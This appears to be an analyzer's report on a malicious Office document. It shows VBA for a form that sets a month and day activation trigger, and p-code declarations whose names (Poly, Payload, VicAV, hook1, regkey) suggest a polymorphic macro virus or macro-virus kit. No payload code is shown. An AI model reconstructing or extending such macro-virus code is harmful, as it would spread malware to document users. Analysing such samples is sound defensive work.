Attribute VB_Base = "0{D48B1275-7C74-11D2-8861-004033E0078E}{D48B123A-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
If TextBox1.Text <> 0 Then
tMonth = "Month(Now) = " & TextBox1.Text & " "
Else
tMonth = "Month(Now) = Month(Now)"
End If
If TextBox2.Text <> 0 Then
tDay = "Day(Now) = " & TextBox2.Text & " "
Else
tDay = "Day(Now) = Day(Now)"
End If
vbad = False
TriggerFrm.Hide
End Sub

Private Sub ScrollBar1_Change()
TextBox1.Text = ScrollBar1.Value
End Sub


Private Sub ScrollBar2_Change()
TextBox2.Text = ScrollBar2.Value
End Sub

Private Sub TextBox1_Change()
On Error GoTo err1
If TextBox1.Text > 12 Then TextBox1.Text = 12
If TextBox1.Text < 0 Then TextBox1.Text = 0
GoTo out
err1:
TextBox1.Text = 0
out:
End Sub
Private Sub TextBox2_Change()
On Error GoTo err1
If TextBox2.Text > 31 Then TextBox2.Text = 31
If TextBox2.Text < 0 Then TextBox2.Text = 0
GoTo out
err1:
TextBox2.Text = 0
out:
End Sub


Attribute VB_Name = "Greets"
Attribute VB_Base = "0{D48B1279-7C74-11D2-8861-004033E0078E}{D48B123C-7C74-11D2-8861-004033E0078E}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /tmp/qstore_4j3y_k9r
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 26023 bytes
' Macros/VBA/CPCK - 18323 bytes
' Line #0:
' 	Dim (Public) 
' 	VarDefn tDay
' 	VarDefn tMonth
' 	VarDefn Poly
' 	VarDefn Method
' 	VarDefn SRC
' 	VarDefn Payload
' 	VarDefn MTimes
' 	VarDefn VicAV
' 	VarDefn plug_count (As Integer)
' Line #1:
' 	Dim (Public) 
' 	VarDefn pth
' 	VarDefn exportname
' 	VarDefn hook1
' 	VarDefn hook2
' 	VarDefn regkey
' 	VarDefn subkey
' 	VarDefn keyvalue
' 	VarDefn insult
' 	VarDefn plugin
' 	VarDefn VSMP_y (As String)
' Line #2:
' 	Dim (Public) 
' 	VarDefn Sample
' 	VarDefn IDONE
' 	VarDefn vbad
' 	VarDefn SAVECODE
' 	VarDefn AUN
' 	VarDefn AUI
' 	VarDefn AAW
' 	VarDefn AAD
…

Open this report in the interactive analyzer, or submit your own file for analysis.